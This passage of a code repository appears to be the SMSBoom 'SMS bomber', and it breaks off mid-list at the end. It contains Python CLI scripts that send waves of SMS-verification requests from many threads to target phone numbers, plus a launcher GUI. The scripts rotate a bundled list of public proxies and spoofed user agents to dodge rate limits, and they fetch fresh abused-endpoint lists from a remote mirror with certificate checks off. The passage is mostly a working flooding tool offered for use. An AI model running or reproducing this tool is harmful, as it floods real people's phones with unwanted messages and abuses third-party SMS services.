load_getapi() 167 | 168 | apis = _api + _api_get 169 | 170 | for api in apis: 171 | try: 172 | reqFunc(api, phone) 173 | except: 174 | pass 175 | 176 | 177 | @click.command() 178 | def update(): 179 | """从 github 获取最新接口""" 180 | GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json" 181 | API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json" 182 | logger.info(f"正在从GitHub拉取最新接口!") 183 | try: 184 | with httpx.Client(verify=False, timeout=10) as client: 185 | GETAPI_json = client.get( 186 | GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8") 187 | api_json = client.get( 188 | API_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8") 189 | 190 | except Exception as why: 191 | logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!") 192 | else: 193 | with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a: 194 | a.write(GETAPI_json) 195 | with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a: 196 | a.write(api_json) 197 | logger.success(f"接口更新成功!") 198 | 199 | 200 | @click.group() 201 | def cli(): 202 | pass 203 | 204 | 205 | cli.add_command(run) 206 | cli.add_command(update) 207 | cli.add_command(asyncRun) 208 | cli.add_command(oneRun) 209 | 210 | if __name__ == "__main__": 211 | cli() 212 | -------------------------------------------------------------------------------- /smsboom_EN.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # smsboom English version 3 | 4 | from utils import default_header_user_agent 5 | from utils.log import logger 6 | from utils.models import API 7 | from utils.req import reqFunc, reqFuncByProxy, runAsync 8 | from concurrent.futures import ThreadPoolExecutor 9 | from typing import List, Union 10 | import asyncio 11 | import json 12 | import pathlib 13 | import sys 14 | import time 15 | import click 16 | import httpx 17 | import os 18 | 19 | # determine if application is a script file or frozen exe 20 | if getattr(sys, 'frozen', False): 21 | path = os.path.dirname(sys.executable) 22 | elif __file__: 23 | path = os.path.dirname(__file__) 24 | 25 | 26 | def load_proxies() -> list: 27 | """load proxies for files 28 | :return: proxies list 29 | """ 30 | proxy_data = [] 31 | try: 32 | proxy_path = pathlib.Path(path, 'http_proxy.txt') 33 | for line in open(proxy_path): 34 | le = line.replace("\r", "").replace("\n", "") 35 | if le == '': 36 | continue 37 | proxy_one = { 38 | 'all://': 'http://' + le 39 | } 40 | proxy_data.append(proxy_one) 41 | proxy_path = pathlib.Path(path, 'socks4_proxy.txt') 42 | for line in open(proxy_path): 43 | le = line.replace("\r", "").replace("\n", "") 44 | if le == '': 45 | continue 46 | proxy_one = { 47 | 'all://': 'socks4://' + le 48 | } 49 | proxy_data.append(proxy_one) 50 | proxy_path = pathlib.Path(path, 'socks5_proxy.txt') 51 | for line in open(proxy_path): 52 | le = line.replace("\r", "").replace("\n", "") 53 | if le == '': 54 | continue 55 | proxy_one = { 56 | 'all://': 'socks5://' + le 57 | } 58 | proxy_data.append(proxy_one) 59 | except: 60 | logger.error("proxies Failed to load") 61 | return [] 62 | logger.success( 63 | f"proxies Loading completed number of interfaces:{len(proxy_data)}") 64 | return proxy_data 65 | 66 | 67 | def load_json() -> List[API]: 68 | """load json for api.json 69 | :return: api list 70 | """ 71 | json_path = pathlib.Path(path, 'api.json') 72 | if not json_path.exists(): 73 | logger.error("Json file not exists!") 74 | # return None 75 | raise ValueError 76 | 77 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 78 | try: 79 | datas = json.loads(j.read()) 80 | APIs = [ 81 | API(**data) 82 | for data in datas 83 | ] 84 | logger.success( 85 | f"api.json Loading completed Number of interfaces:{len(APIs)}") 86 | return APIs 87 | except Exception as why: 88 | logger.error(f"Json file syntax error:{why}") 89 | # return None 90 | raise ValueError 91 | 92 | 93 | def load_getapi() -> list: 94 | """load GETAPI 95 | :return: 96 | """ 97 | json_path = pathlib.Path(path, 'GETAPI.json') 98 | if not json_path.exists(): 99 | logger.error("GETAPI.json file not exists!") 100 | # return None 101 | raise ValueError 102 | 103 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 104 | try: 105 | datas = json.loads(j.read()) 106 | logger.success(f"GETAPI loading completed,No:{len(datas)}") 107 | return datas 108 | except Exception as why: 109 | logger.error(f"Json file syntax error:{why}") 110 | # return None 111 | raise ValueError 112 | 113 | 114 | @click.command() 115 | @click.option("--thread", "-t", help="Number of threads (Default 64)", default=64) 116 | @click.option("--phone", "-p", help="Mobile phone number, you can pass in multiple and then use -p to pass", multiple=True, type=str) 117 | @click.option('--frequency', "-f", default=1, help="Number of executions (default 1)", type=int) 118 | @click.option('--interval', "-i", default=60, help="Intervals(Default 60s)", type=int) 119 | @click.option('--enable_proxy', "-e", is_flag=True, help="Enable proxy(Default Off)", type=bool) 120 | def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False): 121 | """Incoming the number of threads and mobile phone number to start bombing,Support multiple phone numbers""" 122 | while not phone: 123 | phone = input("Phone: ") 124 | for i in phone: 125 | if not i.isdigit(): 126 | logger.error("The phone number must be pure numbers!") 127 | sys.exit(1) 128 | logger.info( 129 | f"Phone number:{phone}, Threads:{thread}, number of executions:{frequency}, Intervals:{interval}") 130 | with ThreadPoolExecutor(max_workers=thread) as pool: 131 | try: 132 | _api = load_json() 133 | _api_get = load_getapi() 134 | _proxies = load_proxies() 135 | except ValueError: 136 | logger.error( 137 | "Error reading interface!Redownloading interface data!....") 138 | update() 139 | sys.exit(1) 140 | for i in range(1, frequency + 1): 141 | logger.success(f"No. 1{i}Wave bombing begins!") 142 | for proxy in _proxies: 143 | logger.success(f"No. 1{i}Wave Bombing - Proxy currently in use : " + 144 | proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...") 145 | # 不可用的代理或API过多可能会影响轰炸效果 146 | for api in _api: 147 | pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit( 148 | reqFunc, api, phone) 149 | for api_get in _api_get: 150 | pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit( 151 | reqFunc, api_get, phone) 152 | logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") 153 | time.sleep(interval) 154 | 155 | 156 | @click.option("--phone", "-p", help="Mobile phone number, you can pass in multiple and then use -p to pass", prompt=True, required=True, multiple=True) 157 | @click.command() 158 | def asyncRun(phone): 159 | """Request an interface in the fastest way(Really asynchronous million concurrency)""" 160 | _api = load_json() 161 | _api_get = load_getapi() 162 | 163 | apis = _api + _api_get 164 | 165 | loop = asyncio.get_event_loop() 166 | loop.run_until_complete(runAsync(apis, phone)) 167 | 168 | 169 | @click.option("--phone", "-p", help="Phone number, you can pass in multiple and then use -p to pass", prompt=True, required=True, multiple=True) 170 | @click.command() 171 | def oneRun(phone): 172 | """Single thread (for testing use)""" 173 | _api = load_json() 174 | _api_get = load_getapi() 175 | 176 | apis = _api + _api_get 177 | 178 | for api in apis: 179 | try: 180 | reqFunc(api, phone) 181 | except: 182 | pass 183 | 184 | 185 | @click.command() 186 | def update(): 187 | """Get the latest interface from github""" 188 | GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json" 189 | API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json" 190 | logger.info(f"Pulling the latest interface from GitHub!") 191 | try: 192 | with httpx.Client(verify=False, timeout=10) as client: 193 | # print(API_json_url) 194 | GETAPI_json = client.get( 195 | GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8") 196 | api_json = client.get( 197 | API_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8") 198 | 199 | except Exception as why: 200 | logger.error( 201 | f"Pull update failed:{why}Please close all proxy software and try several times!") 202 | else: 203 | with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a: 204 | a.write(GETAPI_json) 205 | with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a: 206 | a.write(api_json) 207 | logger.success(f"接口更新成功!") 208 | 209 | 210 | @click.group() 211 | def cli(): 212 | pass 213 | 214 | 215 | cli.add_command(run) 216 | cli.add_command(update) 217 | cli.add_command(asyncRun) 218 | cli.add_command(oneRun) 219 | 220 | if __name__ == "__main__": 221 | cli() 222 | -------------------------------------------------------------------------------- /smsboom_GUI.py: -------------------------------------------------------------------------------- 1 | from tkinter import Tk, StringVar 2 | from tkinter import ttk 3 | 4 | 5 | class InputWidget(ttk.Frame): 6 | """输入框,确认框""" 7 | 8 | def __init__(self, parent=None): 9 | ttk.Frame.__init__(self, parent) 10 | self.parent = parent 11 | self.columnconfigure(0, weight=1) 12 | self.rowconfigure(0, weight=1) 13 | self.phone = StringVar() 14 | self.createWidget() 15 | 16 | for child in self.winfo_children(): 17 | child.grid_configure(padx=5, pady=5) 18 | 19 | self.pack() 20 | 21 | def createWidget(self): 22 | """InputWidget""" 23 | ttk.Label(self, text="手机号:").grid(column=0, row=0, sticky='nsew') 24 | ttk.Entry(self, textvariable=self.phone).grid( 25 | column=1, row=0, columnspan=3, sticky='nsew') 26 | ttk.Button(self, text="启动轰炸").grid( 27 | column=4, row=0, sticky='nsew') 28 | 29 | 30 | class Application(ttk.Frame): 31 | """APP main frame""" 32 | 33 | def __init__(self, parent=None): 34 | ttk.Frame.__init__(self, parent) 35 | self.parent = parent 36 | # 伸缩 37 | self.columnconfigure(0, weight=1) 38 | self.rowconfigure(0, weight=1) 39 | self.createWidget() 40 | # 间隔 41 | for child in self.winfo_children(): 42 | child.grid_configure(padx=5, pady=5) 43 | 44 | self.pack() 45 | 46 | def createWidget(self): 47 | """Widget""" 48 | input_wiget = InputWidget(self) 49 | 50 | 51 | if __name__ == "__main__": 52 | root = Tk() 53 | root.title("SMSBoom - 短信轰炸机 ©落落") 54 | root.columnconfigure(0, weight=1) 55 | root.rowconfigure(0, weight=1) 56 | Application(parent=root) 57 | root.mainloop() 58 | -------------------------------------------------------------------------------- /socks4_proxy.txt: -------------------------------------------------------------------------------- 1 | 127.0.0.1:10810 -------------------------------------------------------------------------------- /socks5_proxy.txt: -------------------------------------------------------------------------------- 1 | 1.180.49.222:7302 2 | 103.240.168.138:6667 3 | 103.74.121.46:35612 4 | 107.21.38.230:9050 5 | 103.53.228.217:7497 6 | 104.248.142.28:7497 7 | 116.237.198.162:23456 8 | 123.58.210.11:6666 9 | 110.235.250.155:1080 10 | 137.220.37.5:7497 11 | 144.22.58.115:7497 12 | 138.219.244.114:7497 13 | 161.8.174.48:1080 14 | 137.184.51.111:14175 15 | 141.94.23.89:7497 16 | 134.209.143.56:7497 17 | 174.77.111.198:49547 18 | 173.82.245.25:7497 19 | 174.138.10.25:7497 20 | 174.77.111.197:4145 21 | 173.212.220.213:20939 22 | 173.236.179.134:17838 23 | 192.111.137.37:18762 24 | 184.178.172.18:15280 25 | 188.165.162.252:7497 26 | 188.165.162.255:7497 27 | 192.111.129.145:16894 28 | 185.175.25.42:7497 29 | 184.178.172.5:15303 30 | 184.178.172.13:15311 31 | 203.153.36.37:7497 32 | 202.180.78.6:7497 33 | 194.163.145.106:7497 34 | 195.9.21.26:5002 35 | 194.163.189.206:7497 36 | 212.33.242.249:1080 37 | 203.176.129.79:33427 38 | 43.224.10.19:6667 39 | 31.128.248.2:1080 40 | 37.18.73.94:5566 41 | 43.128.46.29:7497 42 | 31.184.254.245:7497 43 | 37.192.253.250:1080 44 | 45.33.77.235:7497 45 | 51.81.31.170:48891 46 | 45.56.112.189:7497 47 | 5.161.93.53:1080 48 | 46.101.5.73:47981 49 | 58.37.103.52:23456 50 | 5.161.86.206:1080 51 | 5.161.100.145:1080 52 | 72.206.181.105:64935 53 | 72.195.34.35:27360 54 | 72.206.181.97:64943 55 | 66.42.224.229:41679 56 | 72.195.114.169:4145 57 | 70.166.167.38:57728 58 | 72.217.216.239:4145 59 | 70.166.167.55:57745 60 | 125.141.133.98:5566 61 | 125.141.133.53:5566 62 | 116.212.142.231:33427 63 | 147.135.112.67:3080 64 | 146.190.226.205:1080 65 | 147.135.112.67:3081 66 | 157.230.36.225:7497 67 | 174.64.199.79:4145 68 | 178.33.146.138:7497 69 | 174.64.199.82:4145 70 | 178.128.180.254:7497 71 | 185.14.255.106:7497 72 | 192.111.135.17:18302 73 | 192.111.130.5:17002 74 | 192.252.215.5:16137 75 | 192.111.139.165:4145 76 | 192.111.139.162:4145 77 | 184.178.172.25:15291 78 | 198.8.94.174:39078 79 | 200.16.68.111:7497 80 | 208.102.51.6:58208 81 | 218.78.54.149:8902 82 | 207.148.73.207:7497 83 | 43.224.10.30:6667 84 | 43.224.8.12:6667 85 | 72.195.34.41:4145 86 | 79.143.187.168:7497 87 | 72.221.164.34:60671 88 | 72.206.181.103:4145 89 | 67.201.33.10:25283 90 | 72.210.252.134:46164 91 | 125.141.133.99:5566 92 | 170.238.79.2:7497 93 | 72.210.208.101:4145 94 | 159.69.153.169:5566 95 | 72.221.196.157:35904 96 | 150.129.151.42:6667 97 | 165.154.92.12:3512 98 | 176.88.177.197:61080 99 | 180.168.152.206:7302 100 | 176.31.222.116:7497 101 | 5.189.179.173:7497 102 | 192.111.135.18:18301 103 | 192.111.139.163:19404 104 | 186.126.85.125:1080 105 | 5.189.229.42:1080 106 | 46.105.124.159:7497 107 | 72.195.34.58:4145 108 | 98.162.25.29:31679 109 | 72.206.181.123:4145 110 | 72.221.172.203:4145 111 | 72.221.232.155:4145 112 | 38.91.106.223:38004 113 | 91.121.168.6:7497 114 | 172.104.52.138:7497 115 | 72.49.49.11:31034 116 | 45.91.93.166:25874 117 | 151.80.252.69:50356 118 | 166.78.156.44:1956 119 | 64.225.6.88:7497 120 | 178.62.229.24:43851 121 | 51.155.3.184:33427 122 | 72.195.34.59:4145 123 | 46.105.124.74:7497 124 | 98.162.96.41:4145 125 | 98.170.57.231:4145 126 | 91.121.142.211:7497 127 | 192.252.208.70:14282 128 | 192.252.209.155:14455 129 | 98.162.25.4:31654 130 | 77.220.40.102:1080 131 | 46.105.142.10:7497 132 | 166.78.156.44:23981 133 | 51.222.146.133:7497 134 | 98.178.72.21:10919 135 | 51.178.34.17:7497 136 | 98.162.25.23:4145 137 | 192.252.208.67:14287 138 | 192.252.211.197:14921 139 | 209.250.238.5:7497 140 | 51.75.133.154:7497 141 | 61.135.30.54:7302 142 | 51.83.140.70:8181 143 | 98.162.25.7:31653 144 | 62.171.166.158:27043 145 | 61.7.195.206:44594 146 | 192.252.214.20:15864 147 | 61.130.151.230:7302 148 | 98.162.96.53:10663 149 | 62.113.115.94:16072 150 | -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | import random 3 | 4 | USER_AGENT_LIST = [ 5 | { 6 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"}, 7 | { 8 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13"}, 9 | { 10 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4"}, 11 | { 12 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16"}, 13 | { 14 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19"}, 15 | { 16 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0"}, 17 | { 18 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0 alpha2)"}, 19 | { 20 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2"}, 21 | { 22 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16"}, 23 | { 24 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0"}, 25 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon;"}, 26 | { 27 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1"}, 28 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040614 Firefox/0.9"}, 29 | { 30 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1"}, 31 | { 32 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0"}, 33 | { 34 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36"}, 35 | { 36 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6"}, 37 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TencentTraveler)"}, 38 | { 39 | "User-Agent": "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"}, 40 | { 41 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4"}, 42 | { 43 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4"}, 44 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"}, 45 | { 46 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19"}, 47 | { 48 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12"}, 49 | { 50 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1"}, 51 | { 52 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10"}, 53 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2"}, 54 | { 55 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24"}, 56 | { 57 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19"}, 58 | { 59 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"}, 60 | { 61 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3"}, 62 | { 63 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8"}, 64 | { 65 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3"}, 66 | { 67 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3"}, 68 | { 69 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9"}, 70 | {"User-Agent": "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1"}, 71 | { 72 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24"}, 73 | { 74 | "User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"}, 75 | {"User-Agent": "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50"}, 76 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1"}, 77 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"}, 78 | { 79 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"}, 80 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)"}, 81 | { 82 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2"}, 83 | { 84 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11"}, 85 | { 86 | "User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1"}, 87 | { 88 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21"}, 89 | { 90 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0"}, 91 | { 92 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9"}, 93 | {"User-Agent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"}, 94 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"}, 95 | { 96 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1"}, 97 | {"User-Agent": "ozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0"}, 98 | { 99 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}, 100 | { 101 | "User-Agent": "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124"}, 102 | { 103 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4"}, 104 | { 105 | "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201"}, 106 | { 107 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10"}, 108 | { 109 | "User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2"}, 110 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.50"}, 111 | { 112 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13"}, 113 | { 114 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0"}, 115 | { 116 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19"}, 117 | { 118 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36"}, 119 | { 120 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0"}, 121 | { 122 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0"}, 123 | { 124 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/0.9.2 StumbleUpon/1.994"}, 125 | { 126 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)"}, 127 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.5) Gecko/20041110 Firefox/1.0"}, 128 | { 129 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36"}, 130 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0"}, 131 | { 132 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201"}, 133 | { 134 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2"}, 135 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"}, 136 | { 137 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11"}, 138 | {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre"}, 139 | { 140 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"}, 141 | { 142 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre"}, 143 | { 144 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5"}, 145 | {"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"}, 146 | { 147 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0"}, 148 | {"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1"}, 149 | { 150 | "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1"}, 151 | { 152 | "User-Agent": "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"}, 153 | {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10"}, 154 | { 155 | "User-Agent": "Mozilla/5.0 